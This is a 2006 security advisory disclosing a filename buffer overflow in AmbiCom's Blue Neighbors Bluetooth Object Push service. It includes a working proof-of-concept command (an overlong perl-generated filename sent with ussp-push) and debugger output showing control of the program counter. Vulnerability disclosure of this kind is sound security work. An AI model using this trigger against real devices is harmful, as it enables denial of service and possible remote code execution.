I am not sure why but this post appeared to be rejected. DMA[2006-0115a] - 'AmbiCom Bluetooth Object Push Overflow' Author: Kevin Finisterre Vendor: http://www.ambicom.com/products/air2net Product: 'AmbiCom Blue Neighbors <= V2.50 Build 2500' References: http://www.digitalmunition.com/DMA[2006-0115a].txt Description: AmbiCom, Inc. was founded in Santa Clara, California in 1997, with a driving mission to provide complete cutting-edge networking solutions for mobile users. AmbiCom provides products for all mobile lifestyle needs - from wired to wireless, PDAs to Notebook PCs, home to office. With Bluetooth Wireless Solutions from AmbiCom, all your Bluetooth devices; such as mobile phones, PDAs, Notebook PCs, MP3 players, digital cameras, and more, can wirelessly communicate effortlessly via Bluetooth technology. In other words with AmbiCom, all your Bluetooth are belong to us! Performing an sdp browse of an AmbiCom device will reveal an Object Push service. animosity:~/ussp-push-0.5# sdptool browse 00:10:7A:5C:04:92 Browsing 00:10:7A:5C:04:92 ... Service Name: OBEX Object Push Service RecHandle: 0x10000 Service Class ID List: "OBEX Object Push" (0x1105) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 1 "OBEX" (0x0008) Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 A simple buffer overflow exists in the way Ambicom's Object Push service handles long file names. Sending a Unicode filename that is over 256 bytes will result in the instruction pointer being overwritten. animosity:~/ussp-push-0.5# ./ussp-push 00:10:7A:5C:04:92@1 B `perl -e 'print "A" x 261 . "ZZ"'` pushing file B name=B, size=257 Registered transport set user data created new objext Local device 00:0C:55:11:B3:9A Remote device 00:10:7A:5C:04:92 (1) started a new request reqdone Command (00) has now finished, rsp: 20Connected! Connection return code: 0, id: 0 Connection established connected to server Sending file: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAZZ, path: B, size: 257 In this example after attempting to accept the file the AmbiCom stack will crash because $PC has been overwritten with Unicode ZZ aka 0x005a005a. If we had attached a remote ARM Debugger to Blue Neighbors.EXE prior to exploitation we seen the following: IDA is analysing the input file... You may start to explore the input file right now. Debugger: Attached to process 3546761726. The initial autoanalysis has been finished. Debugged application message: Prefetch Abort: Thread=935124a8 Proc=900d7df8 'Blue Neighbors.EXE'. Debugged application message: AKY=00000201 PC=005a005a RA=01622648 BVA=005a005a FSR=000004f0. : The instruction at 0x5A005A referenced memory at 0x5A005A. The memory could not be read (0x005A005A -> 005A005A) If the string used to trigger the buffer overflow is sent in ASCII as opposed to Unicode the memory of the process is overwritten in a different fashion. Remote execution of code may be possible if an attacker can craft the proper payload in either ASCII or Unicode. One side effect of failed exploitation can be cause denial of service due to the fact that certain values in the $PC register can cause the entire device to lock up rather than just crashing the Bluetooth stack. Work Around: Disable the AmbiCom Bluetooth Stack or remove your Bluetooth module. Stacks from other vendors may help mitigate this risk however new risks may be introduced. AmbiCom's Technical Support Department did not respond to attempts to to notify them of this problem. Emails sent to support (at) ambicom (dot) com [email concealed] were left unanswered.